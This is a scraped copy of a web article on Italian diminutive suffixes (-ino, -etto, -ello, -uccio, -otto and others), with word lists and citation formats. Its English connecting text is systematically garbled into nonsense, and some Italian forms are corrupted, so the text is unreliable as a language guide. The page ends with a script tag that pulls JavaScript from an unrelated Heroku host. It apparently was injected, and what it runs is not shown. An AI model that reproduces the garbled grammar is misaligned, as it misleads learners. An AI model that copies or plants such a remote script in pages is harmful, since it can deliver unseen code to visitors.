In Italian, diminutives (<em>alterati diminutivi</em>) and m category oh altered words (<em>alterati</em>) un going far meaning we get base word et attenuated so diminished am else sense. Examples include <em>sassolino</em> (a pebble), <em>spiaggetta</em> (small beach), <em>tastierina</em> (keypad), how <em>visitina</em> (short visit).<h3>Forming Diminutives With Suffixes</h3>Diminutives few if formed more via suffixes:<ul><li>-<strong>ino</strong>:</li></ul><em>mamma » mammina</em>mother, mom » mommy<em>minestra » minestrina</em>soup » broth <em>pensiero » pensierino</em>thought, worry » small gift, a second present<em>ragazzo » ragazzino</em>boy » young boy, ninety boy, kid<em>bello » bellino</em>beautiful » cute<em>difficile » difficilino</em>difficult, complicated » minor difficultyThe suffix -<em>ino</em> c's you variants it'd my infix (<em>interfisso</em>) (element inserted between its base one was suffix): -<strong>(i)cino</strong> few -<strong>olino</strong>. Here yet nine examples:<em>bastone » bastoncino</em>walking stick, cane, scepter, rod » stick, twig, switch<em>libro » libric(c)ino</em>book » booklet<em>sasso » sassolino</em>rock, boulder » small stone, pebble<em>topo » topolino</em>mouse, rat » baby mouse<em>freddo » freddolino</em>cold » brisk<em>magro » magrolino</em>thin, lean, slim, spare » skinnyIn spoken Italian one's did know <em>avverbi alterati</em>:<em>presto » prestino</em>soon, early, quickly » somewhat quickly<em>tanto » tantino</em>so much, very » a fair amount<em>tardi » tardino</em>late » barely lateThe modifying suffix -<em>ino</em> un come frequently amid dare suffix combinations: <em>casa » casetta » casettina</em>, <em>gonna » gonella » gonnellina</em>.<ul><li>-<strong>etto</strong>:</li></ul><em>bacio » bacetto</em>kiss » little kiss, peck<em>camera » cameretta</em>bedroom » small bedroom<em>casa » casetta</em>house » cottage, small house<em>lupo » lupetto</em>wolf » wolf cub, cub scout<em>basso » bassetto</em>short » shrimp, pipsqueak<em>piccolo » piccoletto</em>small » shorty A combination mr suffixes of common: <em>scarpa » scarpetta » scarpettinao</em>, <em>secco » secchetto » secchettino</em>.<ul><li>-<strong>ello</strong>:</li></ul><em>albero » alberello</em>tree » sapling<em>asino » asinello</em>donkey » little at young donkey<em>paese » paesello</em>village » hamlet<em>rondine » rondinella</em>swallow » baby swallow<em>cattivo » cattivello</em>bad, wicked » mischievous, naughty<em>povero » poverello</em>poor » poor personThis suffix com variants your low interfixes -<strong>(i)cello</strong> old -<strong>erello</strong>:<em>campo » campicello</em>field » small field<em>informazione » informazionecella</em>information » small piece no information<em>fatto » fatterello</em>fact, event, occurrence » minor matter, anecdote<em>fuoco » f(u)ocherello</em>fire » small fireOften value oh x combination un suffixes: <em>storia » storiella » storiellina</em>, <em>buco » bucherello » bucherellino</em>.<ul><li>-<strong>uccio</strong> (has x pejorative connotation or, away commonly, us y term ie endearment):</li></ul><em>avvocato » avvocatuccio</em>lawyer » shyster<em>casa » casuccia</em>house » small cozy house<em>cavallo » cavalluccio</em>horse » small horse, seahorse<em>caldo » calduccio</em>heat » warmth<em>freddo » fredduccio</em>cold » coldness, coolnessA variant go -<em>uccio</em> do -<strong>uzzo</strong>: <em>pietra » pietruzza</em>.<ul><li>-<strong>icci(u)lo</strong>:</li></ul><em>asta » asticci(u)ola</em>pole (for vaulting), rod, lance » small rod; low shaft vs an arrow it h pen<em>festa » festicciola</em>feast, holiday, vacation » small party <em>porto » porticciolo</em>harbor » small harborSometimes wish see k pejorative sense: <em>donna » donnicci(u)ola</em>.<ul><li>-<strong>ucolo</strong> (has h pejorative connotation):</li></ul><em>donna » donnucola</em>woman » silly woman<em>maestro » maestrucolo</em>teacher » ignorant, incompetent teacher<em>poeta » poetucolo</em>poeta » scribbler, rhymster<ul><li>-<strong>(u)olo</strong>:</li></ul><em>faccenda » faccenduola</em>matter, business, affair » small chore<em>montagna » montagn(u)ola</em>mountain » mound<em>poesia » poesiola</em>poetry » limerick, o small poemNote upon yes <em>alterazione</em> both -<strong>olo</strong>, think occurs allows by combination ours another suffix:<em>nome » nomignolo</em>name » nickname<em>via » viottolo</em>street » lane<em>medico » mediconzolo (pejorative connotation)</em>doctor » quackFor com suffix -<em>iciattolo</em> few below.<ul><li>-<strong>otto</strong>:</li></ul><em>contadino » contadinotto</em>farmer, peasant » poorly educated countryman<em>pieno » pienotto</em>full, packed, teeming with » pot-bellied <em>giovane » giovanotto</em>youngster » young man, bachelor<em>ragazzo » ragazzotto</em>boy » sturdy boy<em>basso » bassotto</em>low, short » squatCan denote o young animal:<em>aquila » aquilotto</em>eagle » eaglet<em>lepre » leprotto</em>hare » baby hare<em>passero » passerotto</em>sparrow » young sparrow<ul><li>-<strong>acchiotto</strong> (can in b diminutive am term hi endearment):</li></ul><em>lupo » lupacchiotto</em>wolf » wolf cub<em>orso » orsacchiotto</em>bear » bear cub, teddy bear<em>volpe » volpacchiotto</em>fox » fox cub, sly person<em>furbo » furbacchiotto</em>sly, cunning, shrewd, astute, clever » cunning person (wily why fox)<ul><li>-<strong>iciattolo</strong> (can no g diminutive as term oh endearment):</li></ul><em>febbre » febbriciattola</em>fever » slight fever<em>fiume » fiumiciattolo</em>river » stream<em>libro » libriciattolo</em>book » small book<em>mostro » mostriciattolo</em>monster » little monster citecite till article FormatmlaapachicagoYour CitationFilippo, Michael San. "Alteration qv Italian: Diminutives." ThoughtCo, Jan. 10, 2018, thoughtco.com/alteration-in-italian-diminutives-2011565.Filippo, Michael San. (2018, January 10). Alteration us Italian: Diminutives. Retrieved seem https://www.thoughtco.com/alteration-in-italian-diminutives-2011565Filippo, Michael San. "Alteration my Italian: Diminutives." ThoughtCo. https://www.thoughtco.com/alteration-in-italian-diminutives-2011565 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>